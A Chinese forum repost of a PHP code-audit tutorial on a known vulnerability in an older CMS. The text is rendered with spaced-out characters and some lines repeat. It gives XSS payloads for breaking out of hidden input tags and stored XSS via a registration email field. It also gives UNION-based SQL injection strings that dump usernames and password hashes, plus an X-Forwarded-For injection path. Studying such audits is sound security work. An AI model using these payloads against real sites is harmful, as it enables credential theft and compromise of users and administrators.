搜索

[2063] 2021-03-09_PHP代码审计wooyun-2010-00141

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2021-03-09_PHP代码审计wooyun-2010-00141 P H P 代 码 审 计   w o o y u n - 2 0 1 0 - 0 0 1 4 1 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 3 - 0 9 收 录 于 话 题   # 代 码 审 计   , 8 个 X S S 反 射 型 反 射 型 X S S 先 黑 盒 测 一 下 ， 提 取 主 页 的 链 接 这 里 以 此 为 例 / u s e r . p h p ? a c t = r e g & f r o m = 先 插 个 常 规 的 p a y l o a d ， 看 看 过 滤 情 况 < s c r i p t > a l e r t ( 1 ) < s c r i p t > 这 ， 都 不 用 绕 ， 直 接 闭 合 一 下 就 行 ， 一 般 有 两 种 姿 势 闭 合 属 性 闭 合 标 签 先 尝 试 闭 合 i n p u t 标 签 , 构 造 p a y l o a d < i n p u t   t y p e = " h i d d e n "   n a m e = " f r o m "   v a l u e = " " > < s c r i p t > a l e r t ( 2 0 2 1 ) < / s c r i p t >
成 功 弹 窗 ： 尝 试 闭 合 属 性 但 是 由 于 存 在 h i d d e n 属 性 ，   一 般 元 素 只 要 设 置 了 这 个 属 性 ， 就 不 会 显 示   了 ， 所 以 这 里 没 法 构 造 ， 但 是 为 了 演 示 ， 我 把 h i d d e n 改 为 t e x t 仅 作 演 示 ( 表 示 年 少 无 知 时 曾 这 样 交 过 s r c ！ ！ ！ ) ： 记 录 一 下 关 于 h i d d e n 属 性 的 绕 过 s h i f t + a l t + a c c e s s k e y 如 果 这 里 能 消 除 ” “ , 还 是 有 希 望 弹 窗 的 。 存 储 型 存 储 型 X S S #   鼠 标 指 针 移 动 到 元 素 时 触 发 < i n p u t   t y p e = " h i d d e n "   n a m e = " f r o m "   v a l u e = " 1 "   o n m o u s e o v e r = " a l e r t ( 1 ) "   " " = " " > #   插 入 点 在 h i d d e n 前 ， 新 增 一 个 t y p e 属 性 覆 盖 h i d d e n ： < i n p u t   v a l u e = ' a '   s r c = 1   o n e r r o r = a l e r t ( 1 )   t y p e = " i m a g e "   t y p e = " h i d d e n " > #   插 入 点 在 h i d d e n 后 ， s h i f t + a l t + a c c e s s k e y ： < i n p u t   v a l u e = ' a '   t y p e = " h i d d e n "   a c c e s s k e y = " x "   o n c l i c k = a l e r t ( 1 ) >
注 册 点 这 种 场 景 主 要 会 存 在 存 储 型 x s s , 因 为 一 旦 点 开 个 人 资 料 时 就 会 触 发 。 先 看 看 数 据 传 输 的 过 程 ， 由 于 前 端 限 制 ， 无 法 插 入 p a y l o a d , b u r p 抓 包 插 入 更 改 e m a i l 为 注 册 成 功 < s c r i p t > a l e r t ( 2 0 2 1 ) < / s c r i p t >
成 功 插 入 数 据 库 打 开 个 人 资 料 ， 成 功 弹 窗 查 看 源 码 ： p a y l o a d 插 入 成 功 模 拟 a d m i n 用 户 打 开 后 台 ， 查 看 注 册 用 户 弹 窗 查 看 源 代 码 ， 可 见 参 数 没 做 任 何 有 效 过 滤 ：
S Q L 注 入 注 入 后 面 由 于 s q l 注 入 关 联 的 参 数 太 多 ， 用 审 计 工 具 进 行 辅 助 s e a y 源 代 码 审 计 系 统 f o t i f y s e a y 源 代 码 审 计 系 统 : f o t i f y : 根 据 扫 描 结 果 去 针 对 s q l 注 入 挨 个 分 析 验 证 。 / a d _ j s . p h p 根 据 s e a y 审 计 系 统 扫 描 结 果 定 位 到 源 码
  包 含 了 / i n c l u d e / c o m m o n . i n c . p h p , 跟 进 使 用 a d d s l a s h e s 函 数 对 参 数 进 行 过 滤 但 准 注 入 点 $ a d _ i d 是 直 接 拼 接 到 s q l 语 句 中 的 ， 且 没 有 预 定 义 字 符 注 入 点 已 确 认 ， 跟 一 下 查 询 结 果 的 处 理 过 程 ， 进 g e t o n e ( ) $ a d   =   $ d b - > g e t o n e ( " S E L E C T   *   F R O M   " . t a b l e ( ' a d ' ) . "   W H E R E   a d _ i d   = " . $ a d _ i d ) ;
该 函 数 作 用 为 ： 执 行 S Q L 语 句 并 输 出 结 果 。 手 工 注 入 1 .   确 定 字 段 数 2 .   得 到 字 段 数 为 7 ， 确 定 回 显 位 3 .     得 到 回 显 位 为 7 ， 构 造 查 看 数 据 的 p a y l o a d 查 看 当 前 数 据 库 4 .   查 看 数 据 库 版 本 信 息 5 .   查 看 所 有 表 名 6 .   查 看 b l u e _ u s e r 表 中 的 所 有 字 段 ? a d i d = 1   o r d e r   b y   7   # 正 常 ? a d i d = 1   o r d e r   b y   8   # 异 常 ? a d _ i d = 1   u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , 7 ? a d _ i d = 1   u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , d a t a b a s e ( ) ? a d _ i d = 1   u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , @ @ v e r s i o n ? a d _ i d = 1   u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( ) ? a d _ i d = 1   u n i o n   s e l e c t     1 , 2 , 3 , 4 , 5 , 6 , g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' b l u e _ u s e r '
单 引 号 被 a d d l a s h e s 函 数 转 义 去 掉 单 引 号 ， 将 表 名 进 行 1 6 进 制 编 码 7 .   得 到 字 段 u s e r _ n a m e , p w d ,   尝 试 获 取 数 据 / g u e s t _ b o o k . p h p   X F F 注 入 准 注 入 点 $ i p ， 全 局 搜 索 i p ， g u e s t _ b o o k . p h p 存 在 以 下 代 码 跟 进 $ o n l i n e _ i p 跟 进 g e t i p ( ) f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' b l u e _ u s e r ' ? a d _ i d = 1   u n i o n   s e l e c t     1 , 2 , 3 , 4 , 5 , 6 , g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = 0 x 6 2 6 c 7 5 6 5 5 f 6 1 6 4 6 d 6 9 6 e ? a d _ i d = 1 u n i o n   s e l e c t   1 , 2 , 3 , 4 , 5 , 6 , g r o u p _ c o n c a t ( u s e r _ n a m e , 0 x 3 a , p w d )   f r o m   b l u e _ u s e r
整 个 传 参 过 程 均 没 有 被 过 滤 ， 可 确 认 存 在 注 入 。 参 考 ： h t t p s : / / w w w . o n e b u g . o r g / b u g / 2 9 4 . h t m l X - F o r w a r d e d - F o r   - >   g e t i p ( )   - >   $ o n l i n e _ i p   - >   i p   - >   $ s q l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理